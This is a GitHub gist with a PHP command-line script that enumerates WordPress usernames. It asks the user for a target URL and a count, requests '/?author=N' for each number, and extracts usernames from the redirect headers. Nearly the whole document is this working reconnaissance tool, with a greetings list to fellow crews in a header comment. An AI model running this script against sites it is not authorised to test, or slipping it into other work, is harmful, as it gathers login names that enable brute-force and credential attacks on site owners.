Created
November 15, 2017 16:40
-
-
Save v4p0r/4eff7a0d205f74459539077a9bdd051a to your computer and use it in GitHub Desktop.
simple enumerate user wordpress script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/php | |
<?php | |
/* | |
Second script in php | |
Simples Enumerate script by v4p0r | |
Respect: YC - HighTech - EOF Club - Brian - d3m0l1d0r - Cater - Strike - rCent | |
Kodo - CrazyDuck - xin0x - MMxM - CriptonKing - d3z3n0v3 - c0de_universal - All Friends | |
*/ | |
error_reporting(0); | |
function get_info($get_target) { | |
// cURL | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $get_target); | |
curl_setopt($ch, CURLOPT_HEADER, true); | |
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); | |
$a = curl_exec($ch); | |
curl_close( $ch ); | |
// Get HEADERS | |
$get_headers = explode("\n",$a); | |
$get_redir = $url; | |
$count = count($get_headers); | |
for($i = 0; $i < $count; $i++){ | |
if(strpos($get_headers[$i],"Location:") !== false){ | |
$get_redir = trim(str_replace("Location:","",$get_headers[$i])); | |
break; | |
} | |
} | |
// GET Info | |
if(preg_match('/author\/(.*?)\//', $get_redir)) { | |
$get_regex = '/author\/(.*?)\//'; | |
$get_url = $get_redir; | |
preg_match($get_regex, $get_url, $get_user); | |
$user_found = $get_user[1]; | |
if(empty($user_found)) { | |
echo "\n[-] We did not find any user\n[!] Finish Scan\n "; | |
exit(); | |
} else { | |
echo "[+] User Found:".$user_found."\n"; | |
} | |
} else { | |
echo "[-] No user detected\n[-] We did not find any user\n[!] Finish Scan\n "; | |
exit(); | |
} | |
} | |
echo "\n+====================+\n". | |
"+ Simple GET WP User +\n". | |
"+====================+\n\n"; | |
// Get URL | |
echo "[!] Target: "; | |
$url_one = fgets(STDIN); | |
$get_one = array_filter(explode("\r\n", $url_one)); | |
$url_filter = $get_one[0]; | |
$payload = "/?author="; | |
// Join URL and PAYLOAD | |
$url_ = "$url_filter$payload"; | |
$get_pages = 1; | |
echo "[!] Count users: "; | |
$one_users = fgets(STDIN); | |
$get_one_users = array_filter(explode("\r\n", $one_users)); | |
$filer_one_users = $get_one_users[0]; | |
echo "\n[!] Test Site: ".$url_filter."\n\n"; | |
while($get_pages <= $filer_one_users) { | |
$get_target = $url_.$get_pages; | |
echo get_info($get_target); | |
$get_pages++; | |
} | |
echo "[!] Scan Finish\n"; | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment